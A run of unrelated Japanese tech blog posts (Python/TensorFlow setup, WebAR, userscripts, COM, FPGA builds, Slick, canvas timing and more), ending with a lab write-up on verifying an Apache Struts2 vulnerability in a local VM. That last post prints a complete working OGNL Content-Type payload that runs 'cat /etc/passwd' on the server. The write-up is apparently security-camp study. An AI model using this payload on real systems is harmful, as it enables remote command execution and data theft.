Ubuntu 16.04LTS にはデフォルトでPython 3が入っています。そこで、Python 3のパッケージ管理システムのpipと仮想環境を構築するvirtualenvをシステムに導入します。

```bash:terminal
sudo apt install python3-pip python3-dev python-virtualenv
```

次にvirtualenvを利用してPython 3の仮想環境を構築します。
以下のコマンドで`tensorflow`という名前のPython 3の仮想環境がカレントディレクトリに構築されます。

```bash:terminal
virtualenv --system-site-packages -p python3 tensorflow
```

## 仮想環境をアクティベートする

Python 3の仮想環境をアクティベートします。アクティベート後はユーザー名の前に仮想環境名が表示されます。この場合は(tensorflow)。

```bash:terminal
user@local $ source tensorflow/bin/activate 
(tensorflow) user@local $ python --version
Python 3.5.2
```

## Python 3の仮想環境上にTensorFlowなどの機械学習ライブラリをインストール

tensorflowにはpipのver 8.1以上が必要なので最新バージョンをインストールします。

```bash:terminal
easy_install -U pip
```

仮想環境上でTensorFlowをインストールします。GPUを使う場合はCUDAやcuDNNの設定が必要です。

```bash:terminal
pip3 install tensorflow     # CPUを使う場合
pip3 install tensorflow-gpu # GPUも使う場合
```

よく使う機械学習関連のライブラリなどもお好みでインストールしましょう。

```bash:terminal
pip install scipy matplotlib scikit-learn Keras jupyter
```

###仮想環境からの脱出
仮想環境から脱出する際は、`deactivate`というコマンドを打てばOK。通常のコマンドライン表示に戻ります。

```bash:terminal
(tensorflow) user@local $ deactivate
user@local $
```
##その他pip関連
###パッケージ情報を書き出し、違う環境で同じパッケージをインストール
`pip freeze`コマンドでインストールしたパッケージを全て書き出せます。書き出したファイルを違う環境で使えば、同じパッケージをインストールできます。

```bash:terminal
#インストールしたパッケージ情報を"requirements.txt"に書き出す。
pip freeze > requirements.txt
#同じパッケージをインストール
pip install -r requirements.txt
```

###パッケージを一括アップグレード
以下の一行のコマンドでインストールされているPythonのパッケージを全てアップグレードできます。

```bash:terminal
pip list --format=legacy --outdated | awk '{print $1}' | xargs pip install --upgrade
```
##参考
##### TensorFlow
- [Installing with virtualenv](https://www.tensorflow.org/install/install_linux#installing_with_virtualenv)

##### virtualenvについて
- [Ubuntu 16.04 LTSでのVirtualenvを用いたPython環境構築方法 - Qiita](http://qiita.com/SUZUKI_Masaya/items/7b075a5db918b224dc8d)
- [pyenvが必要かどうかフローチャート - Qiita] (http://qiita.com/shibukawa/items/0daab479a2fd2cb8a0e7)
- [virtualenvでpython3の環境を作成する際のコマンド - Qiita](http://qiita.com/tackey/items/a5e1ab29c8152fcc5da6)

##### GPU環境の構築について
- [CUDA 8.0とcuDNN 5.1をUbuntu 16.04LTSにインストールする - Qiita] (http://qiita.com/JeJeNeNo/items/05e148a325192004e2cd)

##### pip関連
- [Python アプリ依存パッケージ管理 ベストプラクティス集 - Qiita] (http://qiita.com/zakuro9715/items/68c8d8c6b1b05f91fa2e)
- [pipで一括アップデート（確認付き） - Qiita](http://qiita.com/kkdd/items/2a0e703929d1b2d7a793)
TangoでWebARを試す

# WebARとは

https://github.com/googlevr/chromium-webar

>This project's goal is to provide an initial implementation of a possible Augmented Reality (AR) API for the Web on top of Chromium.

<i>このプロジェクトは，<A href=https://ja.wikipedia.org/wiki/Chromium>Chromium</A>上でAR APIの初期的な実装を提供するものです．</i>

># Disclaimer
>
><b>This is not an official Google product.</b>
>
>Defining how a web standard will look like is a complex conversation. All the code and proposals in this project are not meant to be the definitive implementatios of AR capabilities for the web, but some prototypes you can play around with at your own risk and have some starting point to build upon.

<i>免責事項
これはGoogleの公式なプロダクトではありません．
この実装は確定したものではありませんが，いろいろ試せるのでやってみて．</i>

ということなので，やっていく．


# ChromiumAR のインストール

bin の中にある ChromiumAR.apkを，<A href=https://github.com/googlevr/chromium-webar#supported-devices>Supported Devices</A>のいずれかの端末にインストールする．
現在，対応機種は`Lenovo Phab 2 Pro`のみとなっている．

インストール方法は<A href=https://github.com/googlevr/chromium-webar#how-to-install-and-use-the-chromium-webar-prototype>READMEに丁寧に書いてある</A>ので割愛．


# サンプルを試す

READMEにもあるが，まだ開発段階であり，アプリがブラックアウトしたり，ロックすると異常終了するなどの問題がある．
端末を横にして起動しないとカメラが立ち上がらないことが結構あったりもした．

また，オススメされている通り，QRコードリーダーのインストールをしておくと便利．

## picking

http://judax.github.io/webar/examples/threejs/picking/

タップしたところに円錐が出る．壁ならちゃんと横になる．斜めなら斜めになる．
Continuousのチェックを入れておくとよい．タップしなくても画面の中央に円錐を捉え続ける．


<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/f355dd19-6a27-b79a-a54d-1cb89dde33c9.png width=500>


PointCloudに白ドットが置かれる．
近いほど大きく，遠いほど小さくなる．


FPSは24-30程度で安定となっている．

# occlusion

http://judax.github.io/webar/examples/threejs/occlusion/

PointCloudを実際にオクルージョンに使っているサンプル．

<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/70123bb4-725e-7241-afb2-5ad7ca5b58a7.png width=500>

<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/b0882340-7e57-de2a-484b-46b67491eccd.png width=500>

<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/9dc290c2-f93c-9cd2-54b9-1a973c84fda8.png width=500>

<BR>

Webには全く明るくないが，WebからARコンテンツを手軽に体験・シェアできるようになったら，普及も進んでいきそう．

<!--

<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/d8ca845a-bc61-53cc-d1fe-79321203ec74.png width=500>

見にくいが床に白ドットが見て取れる．おおよそ黒いラインまで取得できている．
足元から250cm，直線距離で3m程度．

白背景だときれいに赤外線が返ってくるのでもう少し遠くまでトラッキングできる．
上の画像では床は限界があるが正面の壁は取れているのがわかる．

### Zenfone AR

Supported Deviceではないが，一応動いている．
カメラのFPSは安定して50以上出る．Phab2Proでは30程度だった．

ただし赤外線が画面ブレに弱い．
Phab2Proは画面を大きく揺すってもPointCloudがズレることは殆ど無い．
Zenfoneは数フレーム遅れてPointCloudが揃ってくる．
<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/aa87e2ac-ed82-a327-c1db-0845b8724103.jpeg width=500>

<img src=https://qiita-image-store.s3.amazonaws.com/0/178486/c266baf1-dd76-b2d7-74f1-41396cedeece.jpeg width=500>


-->
右クリック禁止を禁止

邪魔すぎてストレスがマッハで頭髪にダメージが蓄積する[右クリック禁止](http://qiita.com/tsuzuki557/items/0783e777f6852b8d4aab)を禁止しましょう。
お前のことだぞAzureポータル。
ググると[JavaScript無効化](http://hounote.com/archives/k/4086)なんてものが引っかかりますが、そこまでしなくても単に[contextmenu](https://developer.mozilla.org/ja/docs/Web/HTML/Global_attributes/contextmenu)を上書き禁止するだけでいいです。

## Firefox

[Greasemonkey](http://www.greasespot.net/)をインストール。
下記のTampermonkeyがFirefoxにも対応してるみたいなので、そちらで揃えてもいいかも。

ユーザスクリプトを新規作成。
名前や説明は適当に入れる、実行するページは「`https://portal.azure.com/*`」。
ソースは↓

```javascript
	// $()は無くてもいい
	$(function(){
	  document.addEventListener('contextmenu', event => event.stopImmediatePropagation(), true);
	});
```

以上でさくっと作成完了。

## Chrome、Edge他

[Tampermonkey](http://tampermonkey.net/)をインストール。
「新規スクリプトを追加」を選択。
エディタータブでは「更新URL」は空白、ソースは上と同じ。
設定タブでは「ユーザーによるinclude」に「`https://portal.azure.com/`」を追加。
以上で完了。
右クリックが邪魔されず快適生活が送れるようになったことで頭髪も元気を取り戻したことでしょう。

## その他

全てのサイトで右クリック禁止を禁止したいときは、設定するURLに「*」とだけ入れればいい。
サイト独自の右クリックメニューも見えなくなるけど、まあ100%ゴミだから要らないでしょう。
ローカルで気軽に ES2015 を試す方法。 `node hoge.js` のノリで。

とても簡単です。

パッケージを２ついれて、`babel-node` コマンドうてばできます。

```bash
$ mkdir workspace; cd $_
$ npm init
$ npm install --save-dev babel-cli
$ npm install --save-dev babel-preset-es2015

$ touch hoge1.js hoge2.js
```

```js:hoge1.js
import foo from './hoge2'
foo.say()
```

```js:hoge2.js
export default {
  say(){
    console.log('Hello ES2015')
  }
}
```

```bash
$ node_modules/.bin/babel-node hoge1.js
Hello ES2015
```

ありがとうございました。 🍀

参考:
- https://mae.chab.in/archives/2845
- https://babeljs.io/docs/usage/cli/
COM(Component Object Model)についてふわっと学習していく その１ 導入編

# なにはともあれ

IEを立ち上げるだけのVBSです。

```vbs:StartIEByCOM.vbs
Dim ie
Set ie = CreateObject("InternetExplorer.Application")
ie.Visible = True
```

さらにie.xxとメソッドやプロパティを書いていくことで、アプリをコントロールできます。
IEだけではなくエクセルなどのオフィス製品に対しても同様のアプローチができます。
業務の効率化に活用できそうですね。

ベンリダナー。

…で終わってもいいのですが、今回はもう一歩、踏み込んでみましょう。

コードだけ見るとシンプル極まりないですが、なぜこんなことができるのか？

```
CreateObject("InternetExplorer.Application")
```

どうやらここで、IEを操作できるオブジェクトを生成しているようです。

# CreateObjectとは？

「オートメーション オブジェクトへの参照を作成して返します。」とあります。
https://msdn.microsoft.com/ja-jp/library/cc410215.aspx

「オートメーション」とは、他のアプリケーションの操作をしたり、自分のアプリケーションを他のアプリケーションから操作できる状態にすること。
https://msdn.microsoft.com/ja-jp/library/dt80be78.aspx
今回のコードは前者ですね。IEが後者。

# ようやく本題。COMとは？

これを実現するために、「COM(Component Object Model)」
という技術が使われています。
https://ja.wikipedia.org/wiki/Component_Object_Model

CreateObjectの定義に戻ると、

```
CreateObject(servername.typename [, location])
```

servernameはアプリケーション名、typenameはオブジェクトまたはクラスを指定するとのこと。
これで、ieを操作できるオブジェクトを取得できるわけです。

COMを使えば、アプリケーションの壁、言語の壁を超えてその操作ができるようになります。
これを活用できれば、あんなことやこんなことができるのではないだろうか？
という可能性を感じます。

単に「IEやエクセルを自動操作する仕組み」としておくのはもったいない！
操作する側だけではなく、される側を作ることもできるのでは！？

ということで、COMを勉強して…と書籍を漁ってみるも。

なるほど、わからん。

一見簡単そうな仕組みの裏で、とっても難解なあれやこれやが動いています。
果たしてほんとうにこれをすべて理解しなければCOMは使いこなせないのか？

いや、そんなはずはない。
現に、IEをVBSから起動できたじゃないか。

# そして、今回の目的

**COMのめんどくさいところをふわっと理解したつもりになりながら、
便利な機能をそれっぽく使えるようになること**

です。

# 次回
COMが言語非依存であることを確認するために、さまざまな言語での実装を試してみます。
[その2 本当に言語非依存なのか？](http://qiita.com/mintcandy/items/e75ed4a50f2b2fd59726)
Atlas-SoC HW側

Atlas-SoC を[買って](http://qiita.com/kwi/items/176f8e38077e74f9064a)からずっと触れていなかったのだけど、やっとこさ作業を始めてみた。

[FPGA マガジン No.12](http://www.kumikomi.net/fpga/contents/0012.php) と先人の記事を参考にしつつ、ビルド環境の確認から。

http://qiita.com/miyox/items/cf23040d8fa10ac62ff3
http://qiita.com/new3bon/items/1d7349f9bb0c2d6228a1

Quartus も SOC EDS も両方 15.1.0 で揃える。バージョン選択は厳しめ。[rocketboards のドキュメント](https://rocketboards.org/foswiki/Documentation/AtlasSoCCompileHardwareDesign)には両方 15.0.1 か 15.0.2 かで揃えると書いてある。なんとなく最初 SoC EDS 16 と Quartus 17 でやってみたら、行き詰った。

Quartus 15.1.0 が libpng12 をリンクしているので、ubuntu 16 が[よさそう](https://packages.ubuntu.com/xenial/libpng12-0)で、現在の最新である 17 では追加パッケージを作って入れる羽目に。ディスクサイズは 60GB くらい必要（20GB, 40GBでは足りなかった）。メモリは 1GB では足りずにビルド失敗する（メモリが足りなかったせいだというのは、頑張らないとわからない）。2GB で fpga はコンパイルできた。

## SoC EDS

SoC EDS は 32bit binary らしいので、x86_64 な環境で作業している場合は、いわゆる `multilib` を有効にする。[Ref](https://askubuntu.com/questions/454253/how-to-run-32-bit-app-in-ubuntu-64-bit)

```bash
sudo dpkg --add-architecture i386
sudo apt-get update
```

SoC EDS 32bit binary で使用するライブラリをインストールするのは手作業でやると手間なので、[フォーラム](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.faqs/ka14522.html)にあるスクリプト `ds-deps-ubuntu_64.sh` を使うと簡単。

```bash
sudo bash ds-deps-ubuntu_64.sh
```

ここまで準備してから、SoC EDS を[ダウンロード](http://dl.altera.com/soceds/15.1/?edition=standard&platform=linux&download_manager=direct) する。インストーラの起動は root でやったほうがライセンスまわりの処理が簡単。非rootでやっても大したことはなかった。`udev` のルールを追加するのに root が必要だった。

```bash
chnod +x *.run
sudo ./SoCEDSSetup-15.1.0.185-linux.run
```

`embedded/ds-5/bin/eclipse` を一度起動させて、ライセンスの状態を確認しておく。

## Quartus

Quartus を[ダウンロード](http://dl.altera.com/15.1/?edition=lite&download_manager=direct&platform=linux) してインストールする。

`quartus` を一度起動させて、ライセンスの状態を確認しておく。

# ビルド

`PATH` だけは通しておく。

```bash
export PATH=$PATH:$HOME/altera/15.1/*/bin
export PATH=$PATH:$HOME/altera/15.1/quartus/sopc_builder/bin
$HOME/altera/15.1/embedded/embedded_command_shell.sh
$HOME/altera/15.1/embedded/env.sh
```

"Compiling Hardware Design and Preloader" の流れの通りやる。
リーダブルコード　　まとめ

リーダブルコード　より良いコードを書くためのシンプルで実践的なテクニック
を読んだのでまとめと感想文。

# 読んだ本概要
[リーダブルコード　より良いコードを書くためのシンプルで実践的なテクニック](https://www.amazon.co.jp/%E3%83%AA%E3%83%BC%E3%83%80%E3%83%96%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89-%E3%82%88%E3%82%8A%E8%89%AF%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%9F%E3%82%81%E3%81%AE%E3%82%B7%E3%83%B3%E3%83%97%E3%83%AB%E3%81%A7%E5%AE%9F%E8%B7%B5%E7%9A%84%E3%81%AA%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF-Theory-practice-Boswell/dp/4873115655/ref=sr_1_1?s=books&ie=UTF8&qid=1491619527&sr=1-1&keywords=%E3%83%AA%E3%83%BC%E3%83%80%E3%83%96%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89)
【著者】
Sustin Boswell
Trevor Foucher
【出版】
オライリー・ジャパン

# 読みやすさの基本定理
他の人がコードを理解するのにかかる時間を最短なコードが良いコード。
理解するというのは、読んでバグを指摘できるレベルの理解。

# 表面上の改善
### 名前は短いコメント
多くの情報を与えられる名前をつける。  
誤解を与えない名前をつける。

- 明確な単語
- 汎用的な名前は避ける
- 具体的な名前を使う
- 単位を付けたり、与える処理を付けたりする
- スコープの大きな変数には長い名前を付ける
- 大文字、アンダースコアなどを法則をつけて使う

### 具体案
**get**:fetch,dounload
**size**:height,numnodes,memorymytes
**stop**:kill,resume,pause
**send**:deliver,dispatch,announce,distrubute,route
**find**:search.extract,locate,recover
**start**:launch,create,begin,open
**make**:create,set up,build,generate,compose,add,new
**i,j,k,iter,イテレータ**:members_iのように名前をつける
**単位のある変数**:_ms,_kbps,_mbのように単位をつけておくとわかりやすい。
**エンティティごとに異なるフォーマットを変更する**
**限界値**:min,max
**範囲指定**:first,last,begin,end
**bool値**:否定形は使わない。頭にis,has,can,shouldを使う。

### 余白・配置・順序を使って読みやすくする。（シルエットを整える）
- 読み手が慣れているパターンと一貫性をもつ。
- 似ているコードは似せて見せる。
- 関連するコーデはまとめてブロックにする。（いい感じに区切るための改行とかを入れる）
- 順序に意味をつける（重要順とか）

### コメントの意義
- 余計なコメントはつけない
- コードを書いている時の考えをコメントする
- なにこれ？ってなりそうなトラップとかにコメントする
- コードを理解するための役に立つことを書く

# ループとロジックの単純化
コードを読む人が戻ったり止まったりしないコードを書く。
自分のコードの行を短くするよりも読み手が考える時間を短くすることを優先する。

### if-else
-　条件は否定形よりも肯定形を使う
-　単純な条件を先に持ってくる
-　主張が強そうな条件を先に持ってくる
-　３項演算子、do-while、gotoは使わない。(行数が減って明らかにわかりやすくするときにだけ使う。)
-　ネストは浅くする。（早めにreturnするか、continueする）
-　条件文は、変化する値を左、決まった値を右におく。

### コンパクトな式にする
一行が長くなってしまう式なコンパクトに分解する。

- 説明変数・要約変数を使う（条件式をまとめた変数を作る）
- ド・モルガンを使って簡略化する
`assert((!(bucket = FindBucket(key))) || !bucket->IsOccupied());`←こういうのはだめ。わかりにくい。

### 変数の使い方
変数の多さ、スコープによってわかりやすさが変わる。

- 一時的にしか使わない変数は邪魔。
- 制御フロー変数を使わない。breakとかをうまく使う。
- グローバル変数は名前空間を汚す。スコープがすぎたらその変数を忘れてしまえるようにする。
- 言語によってスコープが違うので注意。
- 定義するのは、読みやすいように直前で。
 
# コードの再編成
### 無関係の下位問題をみつける
- 高レベルの目標に直接的に関係がない下位問題を解決するためのコードは別関数として切り出す。 
- プロジェクト固有のコードから汎用のコードは切り出す。
- やりすぎない程度に。

### 一度にひとつのことをする
- 様々な処理をいっぺんに行うコードは書かない

### コードに思いを込める
相手に理解できるように書くことが必要
- 簡単な言葉で同僚にもわかるように書く
- 説明の中で使っているキーワード、フレーズに注目する
- 説明に合わせてコードを書く

**問題や設計をうまく言葉で説明できないのであれば、何かを見落としているか、詳細が明確になっていないということだ**

### 短いコードを書く
もっとも読みやすいコードは何も書かれていないコード
- もっとも簡単に課題を解決できるコードを書く
- 不必要な機能はもたない。
- 標準ライブラリに慣れ親しんでおく・・・

# 選抜テーマ
### テストと読みやすさ
テストコードコードを読みやすくすることはテスト以外のコードを読みやすくするのと同じくらい大事。他のプログラマが安心してテストを追加できるようにテストコードも読みやすくしておく。
- 大切ではない詳細はユーザから隠し、大切な詳細は目立つようにする。
- テストの本質は、状況＋入力→振る舞い＋出力なので、だいたいシンプルにまとまる。
- エラーメッセージは役に立つよう、わかりやすくする。
- テストに使う関数、ファイル名はちゃんと名前をつける。（テストするクラス・関数・状況・バグとか）
- テスト容易性を高める。（グローバル変数を使わない。多くの外部コンポーネントに依存しない。コードが決定的な動きをする。）
### 時間カウンタを実装する
ベルトコンベアー設計
Slick+MySQLで、1つのテーブルにTimestamp型のフィールドを2つ以上定義する方法

Slick使っていて嵌ったのでメモ

```scala

import slick.driver.MySQLDriver.api._
import java.sql.Timestamp

case class Hoge(
  id : Long,
  t1 : Timestamp,
  t2 : Timestamp
)

class HogeTable(tag: Tag) extends Table[Hoge](tag, "Hoge"){
  def id = column[Long]("id",O.PrimaryKey, O.AutoInc)
  def t1 = column[Timestamp]("t1")
  def t2 = column[Timestamp]("t2")
  def * = (id, t1, t2) <> (Hoge.tupled, Hoge.unapply)
} 


```

のような2つ以上のTimestampフィールドを持つテーブルを定義した場合、schemaで自動生成されるSQL文が

```sql
create table `Hoge` (`id` BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY,`t1` TIMESTAMP NOT NULL,`t2` TIMESTAMP NOT NULL)
```

のようになります。

しかし、MySQLでは、デフォルトの設定では、[MySQLのドキュメント](https://dev.mysql.com/doc/refman/5.6/ja/timestamp-initialization.html)に書いているように、TIMESTAMPを2つ以上同じテーブルに持つことが出来ません。この問題を解決するには、TIMESTAMPのカラムに

* カラムをNULL代入可にする
* デフォルト値を設定する

のどちらかを設定する必要があります。一番早いのはNull代入可にする方法なのですが、流石Slickさん、意外な障壁があります。普通ColumnOptionはTable#Oオブジェクトに定義されてると思うじゃないですか？違うんですよ。
以下がNullbaleを設定するコードになります。

```scala

import slick.driver.MySQLDriver.api._
import java.sql.Timestamp
import slick.profile.SqlProfile.ColumnOption // Table#OにNullableが無いので、これをimportしてくる

case class Hoge(
  id : Long,
  t1 : Timestamp,
  t2 : Timestamp
)

class HogeTable(tag: Tag) extends Table[Hoge](tag, "Hoge"){
  def id = column[Long]("id",O.PrimaryKey, O.AutoInc)
  def t1 = column[Timestamp]("t1", ColumnOption.Nullable)
  def t2 = column[Timestamp]("t2", ColumnOption.Nullable)
  def * = (id, t1, t2) <> (Hoge.tupled, Hoge.unapply)
} 

```


### おまけ

ちなみに、

```scala
def t1 = column[Timestamp]("t1", O.Default(Timestamp(0)))
```
を設定するだけだと、NOT NULLのオプションが外れないので結局2つ以上Timestampは定義出来ません。
slickってこういう細かなところでハマりまくりますよね。。。
クラスとインスタンスの違い

この記事では、クラスの実装やインスタンスの作成でなく、それらのニュアンスを理解することを目指します。
## クラスとは何か

設計図。またはある実体を生成するために定義された概念のようなもの。

## インスタンスとは何か

クラスという設計図を基に作成した実体。車を例に挙げますと
車の**クラス**（設計書）からベンツという**インスタンス**（実体）を製造します。
インスタンスは、それぞれ違う特徴を持ちます。
黒い色の車を作成しても、その中には、トヨタの車もあるでしょうし、ベンツの車もあるでしょうし、大きさも形も違い、インスタンスは同じものは一つもありません。

## コードを書いてイメージしよう

ここでは**java**を使います。
車クラスという車の設計書を作成し、インスタンスを作成していきます。

###１,クラスの設計

まず車クラスの設計書を作成しましょう。
設計書の具体的な作成方法は以下のページを参考にしてみてください。
（まだ作成中のため、お待ちください）

```java:Car.java
class Car {
    // フィールドの宣言
    
    public String name = ""; //名前の初期値 ・・・１

    public String color = ""; //色の初期値　・・・２

    public int speed = 0; //スピードの初期値　・・・３

    // メソッドの宣言
    public void setCar(String n, Sring c) {　// ・・・４
        this.name = n; //インスタンスの名前を設定　・・・４－１
        this.color = c; //インスタンスの色を設定　・・・４－２
    }

   public void setSpeed(int a) {// ５
        this.speed = a;//スピードの初期値　・・・５－１
    }
}

```

javaを知らない方でも、なんとなく直感的にわかると思います。
車の設計書（クラス）を作成しました。定義した内容は以下の通り

> 
1. 車に名前という特徴があることを設定する
2. 車に色という特徴があることを設定する
3. 車にスピードという特徴があることを設定する
4. 車に名前と色を設定できる仕様を追加する
    1. 車のインスタンスに名前を設定する
    2. 車のインスタンスに色を設定する
5. 車にスピードを設定できる仕様を追加する
    1. 車のインスタンスにスピードを設定する


これはあくまで設計書なので、インスタンスを作成しない限り、
ただ設計書を作成しただけになります。

###２,インスタンスの作成

今度は作成した設計書を基に車インスタンスを作成します。
>
- 名前はベンツ
- 色はホワイト
- スピードは100

とします。

以下のように、Test.Javaクラス内に、
makeCarというメソッドを追加し、その中に書いていきます。
※CarクラスがTest.Javaクラス内で使える前提で話を進めます

```java:Test.java

    public void makeCar() {　
       Car myCar = new Car(); //　・・・１
       myCar.setCar("ベンツ","ホワイト"); //　・・・２
       myCar.setSpeed(100); //　・・・３
    }
}

```

このmakeCar内で定義した内容は、

>
1. 車のインスタンスを作成
2. 作成したインスタンスに、ベンツという名前とホワイトという色を設定する
3. 作成したインスタンスに、スピード100を設定する


##最後に


Javaやobjective-cなどの言語で、オブジェクト指向で処理をする場合**クラス**や**インスタンス**という言葉が繰り返し出てくると思います

わからない場合は、普段身の回りにあるもので、クラスやインスタンスを作成してみて、置き換えてみるとすんなりわかるかもしれません。

下記にインスタンスメソッドとクラスメソッドの違いを説明した記事を書いたので
そちらも合わせて参考にしていただけたらと思います。
（作成中）

何かご指摘などありましたら、言ってください！！
Canvasを経過時間依存で描画する


デモ：https://codepen.io/mo4_9/pen/ybGEGR

・問題
座標のアップデートは容易だが、端末によってレンダリング処理が遅れることがよくある

・解決
FPSを変えても移動速度が変わらない処理を行う
(=処理が遅い端末でも座標が間引かれるだけでスピードは変わらない)

```javascript:TimeAccumulator.js
const CALL_FUNC_LIMIT_PER_FRAME = 6;

export default class TimeAccumulator {
  constructor(func, fps) {
    this._func = func;
    this._prevTime = 0;
    this._timeUnit = 1 / fps;
  }

  reset(time) {
    this._prevTime = time;
  }

  exec(time) {
    let callCount = 0;
    while(this._prevTime < time && callCount < CALL_FUNC_LIMIT_PER_FRAME) {
      this._func(this._prevTime, this._timeUnit);
      this._prevTime += this._timeUnit;
      callCount++;
    }
    if(callCount >= CALL_FUNC_LIMIT_PER_FRAME && this._prevTime < time) {
      this._func(time, time - this._prevTime);
      this._prevTime = time;
    }
  }
}
```

```javascript:TimeSkipper.js
export default class TimeSkipper {
  constructor(func, fps) {
    this._func = func;
    this._prevTime = 0;
    this._timeUnit = 1 / fps;
  }

  reset(time) {
    this._prevTime = time;
  }

  exec(time) {
    const elapsedTime = time - this._prevTime;
    if(elapsedTime > this._timeUnit) {
      this._func(this._prevTime, elapsedTime);
      this._prevTime = time;
    }
  }
}
```

requestAnimationFrameのコールバックメソッドの引数に、
performance.now()から返されたtimestampが入る。
https://developer.mozilla.org/ja/docs/Web/API/Window/requestAnimationFrame

```javascript
const FPS = 60;

const timeAccumulator = new TimeAccumulator(update,FPS);
const timeSkipper = new TimeSkipper(render,FPS);

const $update = $('.update');
const $render = $('.render');
// 座標更新
function update(time,delta) {
  $update.text(`time:${time.toFixed(5)} | delta:${delta.toFixed(5)}`)
}
// 描画
function render(time,delta) {
  $render.text(`time:${time.toFixed(5)} | delta:${delta.toFixed(5)}`)
  drawRect(time,delta)
}

let loopId;
tick();
function tick(time) {
  const currentTime = time / 1000; // sec
  
  timeAccumulator.exec(currentTime);
  timeSkipper.exec(currentTime);

  loopId = requestAnimationFrame(tick);
}
function stop() {
  cancelAnimationFrame(loopId);
}
function restart() {
  // deltaのズレを補正
  const currentTime = performance.now() / 1000;
  timeAccumulator.reset(currentTime);
  timeSkipper.reset(currentTime);
  tick();
}

$('.js-restart').on('click',restart)
$('.js-stop').on('click',stop)


/* ======================================
 * canvas
 * ====================================== */

const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
$('body').append(canvas)

/*
* 中身が多くなってきたら、
* 座標更新(update)と描画(render)をわける
*/
let move_x = 0;
function drawRect(time,delta) {
  // delta依存で座標を更新する
  move_x += delta * 100;
  ctx.clearRect(0,0,window.innerWidth,window.innerHeight)
  ctx.fillRect(move_x,0,100,100);
  if(move_x > window.innerWidth){
    move_x = 0;
  }
}
```

> 参考
[requestAnimationFrame でフレームと再描画更新を制御する](http://yomotsu.net/blog/2013/01/05/fps.html)
Raspberry Piでdocker-composeをインストールする

https://github.com/docker/compose からソースコードをクローンし、出来上がったディレクトリに入る。

```bash
$ git clone -b release https://github.com/docker/compose.git
$ cd compose
```

こちらの Makefile を作成し make を実行する。かなり時間がかかる。

```mf
IMG=docker-compose:armhf
IMG_DEBIAN=armhf/debian:wheezy
BIN=./dist/docker-compose-Linux-armv7l
.PHONY: all clean install

$(BIN):
        docker build -t $(IMG) -f Dockerfile.armhf .
        docker run --rm --entrypoint="script/build/linux-entrypoint" -v $(PWD)/dist:/code/dist -v $(PWD)/.git:/code/.git "$(IMG)"

all: $(BIN)


install:
        install $(BIN) /usr/local/bin/docker-compose

clean:
        -rm -f $(BIN)
        -docker rmi $(IMG)
        -docker rmi $(IMG_DEBIAN)
```

ビルドが終わったらインストールする。

```bash
$ sudo make install
```

出来上がったイメージが不要なら削除する。

```bash
$ make clean
```
Homebrewで日本語のファイル名を扱えるSubversion1.8をインストールする

Macにデフォルトで入っているsubversionは日本語のファイル名がうまく扱えず(文字コードの問題らしい)
チェックアウトしただけで大量の差分ができてしまう。。。

正常に動作させるｍにはunicode-path というパッチがあたったsubversionが必要な模様。

以下のコマンドでインストールすることができます

```console
$ brew tap tholu/tap
$ brew install --with-unicode-path tholu/tap/subversion18
```
Linuxシェル -- 文字列置換、入門編

以下に、記述。
文字列「aaaAAA」を「bbbBBB」に置換する。

```
sed -e "s/aaaAAA/bbbBBB/g" /tmp/aaa.txt > /tmp/bbb.txt
```

※Apacheのconfigファイルでは、よく使う。（環境ごとに、conf、自動変更）

例：

```ini
#
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride 
# directive.
#
AccessFileName .htaccess.development
```

```
sed -e "s/AccessFileName .htaccess/AccessFileName .htaccess.development/g" /tmp/httpd.cnf > /tmp/httpd2.cnf
```

※※※上記のような、Apache関連設定変更は、Apache再起動がベスト。
apache struts2 脆弱性の検証

今回はセキュリティ・キャンプの課題であったapache struts2の脆弱性について実際に手を動かし実行してみたいと思います。
###環境
VirtualBoxでブリッジアダプタを使用
ホスト:macOS 10.12
ゲスト:ubuntu 16.04LST
struts 2.3.20
###仮想マシンにjava,tomcatなどを導入する
http://ra66itblog.hateblo.jp/entry/2016/05/05/195401
http://www.linuxmania.jp/apt-install-java.html
こちらの記事を参考にしました。
###Brupproxyの設定
Burpproxyのproxy->Options->addで127.0.0.1:9999(任意)を設定する。
次にホストマシンのブラウザを先ほど作成したプロキシを通して通信するように設定を行います。
###httpリクエストの改変
ブラウザのURL欄にゲストマシンのIPアドレス、ポート番号を入力します。
するとBurpproxyのinterceptタブにhttpリクエストが見えますから

```
Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

をクッキーなどを消して追加しForwardをクリックします。↑のコードではサーバーの/etc/passwdファイルがブラウザ上に表示されてしまいます！<img width="850" alt="スクリーンショット 2017-05-23 18.02.13.png" src="https://qiita-image-store.s3.amazonaws.com/0/149529/8d094c08-8fba-d157-3c12-724756dae94b.png">
java?のコードがContent-Typeに含まれているようで、サーバーのOSを調べ"/bin/bash -c cat /etc/passwd"を実行しているようです。 

###wiresharkでパケットキャプテャしてみての考察
